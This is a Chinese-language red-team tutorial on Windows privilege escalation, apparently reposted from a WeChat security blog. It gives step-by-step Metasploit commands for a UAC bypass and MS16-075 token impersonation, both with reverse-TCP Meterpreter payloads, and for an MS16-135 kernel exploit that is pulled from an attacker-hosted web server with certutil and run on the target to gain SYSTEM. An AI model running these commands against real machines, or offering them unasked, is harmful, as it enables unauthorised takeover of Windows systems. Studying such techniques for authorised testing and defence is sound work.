Windows Red Team权限提升技术-6
2023-4-1 09:38:34 Author: 网络安全交流圈(查看原文) 阅读量:13 收藏

ATT& CK权限升级技术

权限提升由攻击者用来获取系统或网络上更高级别权限的技术组成。攻击者通常可以使用非特权访问权限进入和探索网络,但需要更高的权限才能实现其目标。常见的方法是利用系统的弱点、错误配置和漏洞。高架通道的示例包括:系统/根级别
1、本地管理员
2、具有类似管理员访问权限的用户帐户
3、有权访问特定系统或执行特定功能的用户帐户

以下是我们将探索的关键技术和子技术列表:
  • UAC旁路
  • 令牌模拟
  • 内核漏洞

场景

我们的目标是通过利用各种权限提升技术来提升我们在Windows目标系统上的权限。

注:本文档中使用的技术是通过meterpreter会话执行的,主要是因为Empire不向用户提供传输漏洞利用代码或二进制文件或执行手动测试的能力。我们将使用的权限升级技术
  1. 绕过UAC-攻击者可以绕过UAC机制来提升系统上的进程权限。Windows用户帐户控制(UAC)允许程序提升其权限(按完整性级别从低到高进行跟踪),以便在管理员级别权限下执行任务,可能会提示用户进行确认。

  2. 内核漏洞利用-攻击者可能会利用软件漏洞来提升权限。当攻击者利用程序、服务或操作系统软件或内核本身中的编程错误来执行攻击者控制的代码时,就会发生软件漏洞的利用。

  3. 令牌模拟-对手可能复制并模拟其他用户的令牌,以提升权限并绕过访问控制。攻击者可以使用DuplicateToken(Ex)创建复制现有令牌的新访问令牌。然后,可以将令牌与ImpersonateLoggedOnUser一起使用,以允许调用线程模拟已登录用户的安全上下文。
绕过UAC
我们可以绕过UAC机制来提升目标系统上的进程权限。Windows用户帐户控制(UAC)允许程序提升其权限(按完整性级别从低到高进行跟踪),以便在管理员级别权限下执行任务,可能会提示用户进行确认。
Metasploit有各种UAC权限提升模块,我们可以利用它们来提升权限。
以下过程概述了在Windows 10系统上通过绕过UAC提升权限的过程:
1、此过程的第一步是在目标系统上获取一个meterpreter会话,之后,您需要将meterpreter会话置于后台。这可以通过在meterpreter中运行以下命令来完成:
background
2、我们现在可以通过运行以下命令来搜索UAC模块:
 search bypassuac
正如下面的屏幕截图中所强调的,我们将使用“bypassuac_injection_winsxs”模块,因为它是唯一在Windows 10系统上工作的模块。

3、我们现在可以通过运行以下命令加载旁路UAC模块:

use module exploit/windows/local/bypassuac_injection_winsxs

4、加载模块后,我们需要配置模块选项,这可以通过运行以下命令来完成:

 set payload windows/x64/meterpreter/reverse_tcp set target Windows x64 set SESSION <SESSION-ID>

5、在配置模块选项之后,我们现在可以通过运行以下命令来执行模块:

run

6、如果成功,模块将把meterpreter阶段发送到目标,您应该会收到一个提升的meterpreter会话,如下面的屏幕截图所示。


7、我们可以通过列出当前用户的Windows权限来确认我们有一个提升的会话,这可以通过在meterpreter中运行以下命令来完成:

 getprivs


如前面的屏幕截图所示,这个meterpreter会话具有管理权限,我们可以迁移到NT AUTHORITY/SYSTEM进程。

Windows内核漏洞利用

我们可以利用Windows NT内核中的漏洞来尝试提升我们的权限。当攻击者利用内核中的编程错误执行受攻击者控制的代码时,就会发生对Windows内核中漏洞的攻击。
我们可以通过查看如何识别内核漏洞并将其传输到目标系统来开始内核漏洞利用过程。在本节中,我们的目标系统将运行Windows 7。作为先决条件,请确保您已经在系统上获得了初始立足点,并进行了计量员会话:
1、第一步是扫描和识别潜在的内核漏洞。这可以通过使用Windows-Exploit-Suggester工具来完成。Windows-Exploit-Suggester脚本可以从以下链接下载:https://github.com/AonCyberLabs/Windows—Exploit—Suggester
2、要使用Windows-Exploit-Suggester工具,您需要运行以下命令:
 ./windows-exploit-suggester.py --update
上述命令将下载漏洞数据库并将其保存为.xlsx文件。我们将利用此漏洞数据库来识别目标系统上的漏洞。
3、下一步将涉及枚举目标操作系统信息和配置,这可以通过在Windows命令shell中运行以下命令来完成:
 systeminfo

如下面的屏幕截图所示,此命令将输出重要的操作系统信息和配置数据。

我们将需要复制此信息并将其粘贴到名为“systeminfo.txt”的文件中。我们将使用此文件通过Windows-Exploit-Suggester识别内核漏洞。

4、我们现在可以利用Windows-Exploit-Suggester来识别目标系统的漏洞,这可以通过在Kali上运行以下命令来完成:
 ./windows-exploit-suggester.py --database <DATABASE.XLSX> --systeminfo <SYSTEMINFO.TXT>
如下面的屏幕截图所示,Windows-Exploit-Suggester将显示一个漏洞列表,我们可以在目标系统上利用这些漏洞来提升我们的权限。

5、我们始终建议使用Windows-Exploit-Suggester推荐的第一个漏洞。在本例中,我们将从MS16-135内核漏洞开始。我们将需要确定有关该漏洞的更多信息以及如何使用它。这可以通过执行快速Google搜索来完成,如以下屏幕截图所示:



Google搜索显示了一个GitHub存储库,其中包含有关漏洞利用,漏洞利用源代码以及如何使用的信息。始终建议分析源代码,以确保它不是恶意的,并按预期进行任何所需的额外修改。在这种情况下,我们将使用预构建的漏洞利用,如下面的屏幕截图所示。

下载预构建的漏洞利用可执行文件后,我们需要将其传输到目标系统。
6、我们现在可以将漏洞利用可执行文件传输到目标系统,这可以通过在KaliVM上使用SimpleHTTPServer Python模块启动本地Web服务器来完成:
sudo python -m SimpleHTTPServer 80

7、为了将可执行的漏洞转移到目标系统,我们可以使用某些实用程序。这可以通过在目标系统上运行以下命令来完成:

certutil -urlcache -f http://<KALI-IP>/41015.exe exploit.exe

8、我们现在可以通过在目标系统上运行以下命令来运行exploit可执行文件:

 .\exploit.exe

如下面的屏幕截图所示,漏洞利用可执行文件需要用户指定目标操作系统,在我们的示例中,目标操作系统是Windows 7,因此,我们可以通过运行以下命令来执行漏洞利用:

 .\exploit.exe 7

使用指定的操作系统运行漏洞利用后,将需要几秒钟才能完成,之后我们应该有一个具有NT AUTHORITY/SYSTEM权限的提升shell,如下面的屏幕截图所示。


令牌模拟

对手可能会复制并冒充另一个用户的令牌,以提升权限并绕过访问控制。攻击者可以使用DuplicateToken(Ex)创建复制现有令牌的新访问令牌。然后,可以将令牌与ImpersonateLoggedOnUser一起使用,以允许调用线程模拟已登录用户的安全上下文。
在本节中,我们将探索执行令牌模拟攻击的过程。
在本节中,我们的目标系统将运行Windows 7。作为先决条件,确保您已经在系统上获得了最初的立足点,并有一个MeterPreter会话
我们可以通过以下概述的程序开始该过程:
1、第一步将涉及识别可通过Potato攻击利用的任何潜在漏洞。这可以通过使用Windows Exploit Suggester脚本来完成:
 ./windows-exploit-suggester.py --database <DATABASE.XLSX> --systeminfo <SYSTEMINFO.TXT>
正如下面的屏幕截图中突出显示的,我们能够识别令牌模拟漏洞。

2、对MS 16 -075漏洞的研究揭示了一个Metasploit模块,它可以自动执行令牌模拟攻击。

3、我们可以通过运行以下命令在Metasploit中加载模块:

use exploit/windows/local/ms16_075_reflection

4、加载模块后,您将需要配置模块选项,这可以通过运行以下命令来完成:

set payload /windows/x64/meterpreter/reverse_tcp set SESSION <SESSION-ID>

5、我们现在可以通过运行以下命令来运行模块:

run

如果模块成功运行,您应该会收到一个新的meterpreter会话,如下面的屏幕截图所示。


6、下一步涉及执行模拟过程,可以通过在meterpreter上加载incognito模块来执行。这可以通过运行以下命令来完成:

load incognito

7、我们现在可以使用incognito来列出可用于模拟的可用令牌,这可以通过运行以下命令来完成:

 list_tokens -u

如下面的屏幕截图所示,我们能够识别“NT AUTHORITY\SYSTEM”令牌。


8、我们可以通过运行以下命令模拟“NT AUTHORITY\SYSTEM”令牌:

impersate_token“NT AUTHORITY\SYSTEM”

9、现在,我们可以通过在meterpreter中运行以下命令来验证我们已经提升了权限:

 getuid

如下面的屏幕截图所示,我们已经能够成功提升我们的权限。


文章来源: http://mp.weixin.qq.com/s?__biz=MzI1MDk3NDc5Mg==&mid=2247484516&idx=1&sn=1c4b24ca956aa3c64050fb73ff773912&chksm=e9fb4343de8cca550937528af923e28081f02cf68c2e7d3c40a0521e3ca953e63deac9d19679#rd
如有侵权请联系:admin#unsafe.sh